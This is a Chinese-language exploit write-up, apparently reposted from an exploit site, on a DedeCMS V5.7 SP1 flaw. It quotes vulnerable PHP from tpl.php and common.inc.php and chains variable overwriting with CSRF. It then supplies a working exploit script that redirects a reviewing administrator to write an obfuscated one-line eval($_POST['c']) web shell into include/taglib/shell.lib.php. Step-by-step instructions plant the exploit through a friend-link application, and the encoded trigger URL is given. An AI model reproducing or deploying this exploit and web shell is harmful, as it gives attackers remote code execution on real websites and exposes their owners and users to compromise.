在tpl.php中
- /*---------------------------
- function savetagfile() { }
- 保存标签碎片修改
- --------------------------*/
- else if($action=='savetagfile')
- {
- if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
- {
- ShowMsg('文件名不合法,不允许进行操作!', '-1');
- exit();
- }
- require_once(DEDEINC.'/oxwindow.class.php');
- $tagname = preg_replace("#\.lib\.php$#i", "", $filename);
- $content = stripslashes($content);
- $truefile = DEDEINC.'/taglib/'.$filename;
- $fp = fopen($truefile, 'w');
- fwrite($fp, $content);
- fclose($fp);
- $msg = "
- <form name='form1' action='tag_test_action.php' target='blank' method='post'>
- <input type='hidden' name='dopost' value='make' />
- <b>测试标签:</b>(需要使用环境变量的不能在此测试)
- <textarea name='partcode' cols='150' rows='6' style='width:90%;'>{dede:{$tagname} }{/dede:{$tagname}}</textarea>
- <input name='imageField1' type='image' class='np' src='images/button_ok.gif' width='60' height='22' border='0' />
- </form>
- ";
- $wintitle = "成功修改/创建文件!";
- $wecome_info = "<a href='templets_tagsource.php'>标签源码碎片管理</a> >> 修改/新建标签";
- $win = new OxWindow();
- $win->AddTitle("修改/新建标签:");
- $win->AddMsgItem($msg);
- $winform = $win->GetWindow("hand"," ",false);
- $win->Display();
- exit();
- }
复制代码 这里是漏洞利用写入文件的地方,但是我们知道,基本所有的不安全情况,是在数据输入输出时发生的,这里的参数是怎么传递过来的呢?还有$filename和$content是怎么传递参数的呢?继续跟踪
config.php又 include了 common.inc.php ,而一般情况下,类似common.php这种文件名的,里面存放着一些将会经常用到的函数。继续跟踪上去。果然发现了猫腻在common.inc.php 发现了
- foreach(Array('_GET','_POST','_COOKIE') as $_request)
- {
- foreach($_request as $_k => $_v)
- {
- if($_k == 'nvarname') ${$_k} = $_v;
- else ${$_k} = _RunMagicQuotes($_v);
- }
- }
复制代码问题在哪呢? 这段代码大概的意思是 从数组中获取获取参数的方,这里GET,POST,COOKIE方式的参数都有了。 先来跟踪GET,二层循环中$_GET(这个可以看作是一个全局数组)**$_k ,$_v 获取数组的key value值.${$_k}这里全局注册了变量,假如输入GET型参数 ?test=k4l0n.则在本php页及所有包含本页的php页中 , $test的值都被赋值为了kl0n
而tpl.php中的$action,$content,$filename变量没有初始化,从而能操纵这些变量写入任意的代码。 继续跟踪 userLogin类的getUserID函数: - /**
- * 获得用户的ID
- *
- * @access public
- * @return int
- */
- function getUserID()
- {
- if($this->userID != '')
- {
- return $this->userID;
- }
- else
- {
- return -1;
- }
- }
复制代码userLogin类用户登录 - /**
- * 检验用户是否正确
- *
- * @access public
- * @param string $username 用户名
- * @param string $userpwd 密码
- * @return string
- */
- function checkUser($username, $userpwd)
- {
- global $dsql;
- //只允许用户名和密码用0-9,a-z,A-Z,'@','_','.','-'这些字符
- $this->userName = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $username);
- $this->userPwd = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $userpwd);
- $pwd = substr(md5($this->userPwd), 5, 20);
- $dsql->SetQuery("SELECT admin.*,atype.purviews FROM `#@__admin` admin LEFT JOIN `#@__admintype` atype ON atype.rank=admin.usertype WHERE admin.userid LIKE '".$this->userName."' LIMIT 0,1");
- $dsql->Execute();
- $row = $dsql->GetObject();
- if(!isset($row->pwd))
- {
- return -1;
- }
- else if($pwd!=$row->pwd)
- {
- return -2;
- }
- else
- {
- $loginip = GetIP();
- $this->userID = $row->id;
- $this->userType = $row->usertype;
- $this->userChannel = $row->typeid;
- $this->userName = $row->uname;
- $this->userPurview = $row->purviews;
- $inquery = "UPDATE `#@__admin` SET loginip='$loginip',logintime='".time()."' WHERE id='".$row->id."'";
- $dsql->ExecuteNoneQuery($inquery);
- $sql = "UPDATE #@__member SET logintime=".time().", loginip='$loginip' WHERE mid=".$row->id;
- $dsql->ExecuteNoneQuery($sql);
- return 1;
- }
- }
- /**
- * 保持用户的会话状态
- *
- * @access public
- * @return int 成功返回 1 ,失败返回 -1
- */
- function keepUser()
- {
- if($this->userID != '' && $this->userType != '')
- {
- global $admincachefile,$adminstyle;
- if(empty($adminstyle)) $adminstyle = 'dedecms';
- @session_register($this->keepUserIDTag);
- $_SESSION[$this->keepUserIDTag] = $this->userID;
- @session_register($this->keepUserTypeTag);
- $_SESSION[$this->keepUserTypeTag] = $this->userType;
- @session_register($this->keepUserChannelTag);
- $_SESSION[$this->keepUserChannelTag] = $this->userChannel;
- @session_register($this->keepUserNameTag);
- $_SESSION[$this->keepUserNameTag] = $this->userName;
- @session_register($this->keepUserPurviewTag);
- $_SESSION[$this->keepUserPurviewTag] = $this->userPurview;
- @session_register($this->keepAdminStyleTag);
- $_SESSION[$this->keepAdminStyleTag] = $adminstyle;
- PutCookie('DedeUserID', $this->userID, 3600 * 24, '/');
- PutCookie('DedeLoginTime', time(), 3600 * 24, '/');
- $this->ReWriteAdminChannel();
- return 1;
- }
- else
- {
- return -1;
- }
- }
复制代码通过跟踪发现,这里没有对管理员的来源页进行任何检查,只是检查了管理员是否登陆,这就造成了一个CSRF漏洞。到这里漏洞思路就很清晰了,由于变量可控漏洞导致可写入任意代码,由于CSRF漏洞诱导管理员以管理员的权限去写入代码。
先上exp: - <?php
- //print_r($_SERVER);
- $referer = $_SERVER['HTTP_REFERER'];
- $dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede后台的路径
- //拼接 exp
- $muma = '<'.'?'.'@'.'e'.'v'.'a'.'l'.'('.'
- .'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')'.';'.'?'.'>';
- $exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php';
- $url = $dede_login.$exp;
- //echo $url;
- header("location: ".$url);
- // send mail coder
- exit();
- ?>
复制代码首先,将这个exp部署在你的服务器上,当然你必须要有一个公网ip,假设你的url为:http://www.xxxx.com/exp.php
在目标网站的申请友情链接处申请一个友情链接/plus/flink_add.php
[/url]
[url=http://7u2hr4.com1.z0.glb.clouddn.com/wp-content/uploads/2016/12/2-3.png]提交之后等待管理员审核,当管理员审核的时候,一般情况下会点进你的网站看一看 审核的地方在 后台—》模块—》辅助插件—》友情链接 当点这个友情链接的时候,就生成了一句话shell,shell地址在//include/taglib/shell.lib.php
[url=http://7u2hr4.com1.z0.glb.clouddn.com/wp-content/uploads/2016/12/4-2.png]
管理员触发了一个链接 - http://127.0.0.1/DedeCMS-V5.7-UTF8-SP1-Full/uploads/dede/tpl.php?action=savetagfile&actiondo=addnewtag&content=%3C?@eval($_POST[%27c%27]);?%3E&filename=shell.lib.php
复制代码 这个链接是利用管理员的权限生成了一句话
[/url]
from:[url=http://0day5.com/archives/4209]http://0day5.com/archives/4209 |